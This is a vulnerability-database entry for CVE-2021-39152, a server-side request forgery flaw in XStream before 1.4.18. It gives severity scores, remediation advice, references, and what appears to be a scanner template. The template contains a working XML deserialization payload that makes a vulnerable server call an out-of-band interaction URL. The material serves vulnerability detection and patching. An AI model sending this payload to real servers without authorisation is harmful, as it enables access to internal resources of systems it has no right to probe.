8.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
8.4 High
AI Score
Confidence
High
6 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:S/C:P/I:P/A:P
0.012 Low
EPSS
Percentile
85.3%
XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
id: CVE-2021-39152
info:
name: XStream <1.4.18 - Server-Side Request Forgery
author: pwnhxl
severity: high
description: |
XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services.
remediation: |
Upgrade XStream to version 1.4.18 or later to mitigate the vulnerability.
reference:
- https://x-stream.github.io/CVE-2021-39152.html
- https://github.com/x-stream/xstream/security/advisories/GHSA-xw4p-crpj-vjx2
- https://security.netapp.com/advisory/ntap-20210923-0003/
- https://nvd.nist.gov/vuln/detail/cve-2021-39152
- https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 8.5
cve-id: CVE-2021-39152
cwe-id: CWE-502
epss-score: 0.01242
epss-percentile: 0.83992
cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: xstream_project
product: xstream
tags: cve2021,cve,xstream,ssrf,oast,xstream_project
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<map>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData>
<url>http://{{interactsh-url}}/internal/</url>
<cs>GBK</cs>
<hash>1111</hash>
<array>b</array>
<length>0</length>
<lastModified>0</lastModified>
</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
</entry>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData>
<url>http://{{interactsh-url}}/internal/</url>
<cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
<hash>1111</hash>
<array>b</array>
<length>0</length>
<lastModified>0</lastModified>
</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
</entry>
</map>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Java"
# digest: 490a00463044022066c9ce151ee358bbe8455f9b617c8364fb827e63a620fb317affb71e693de0e102200a11031cf4158ec89817f2f860b0878dd4f93c94685a0e1e5d0a7ce837143d39:922c64590222798bb761d5b6d8e72950
8.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
8.4 High
AI Score
Confidence
High
6 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:S/C:P/I:P/A:P
0.012 Low
EPSS
Percentile
85.3%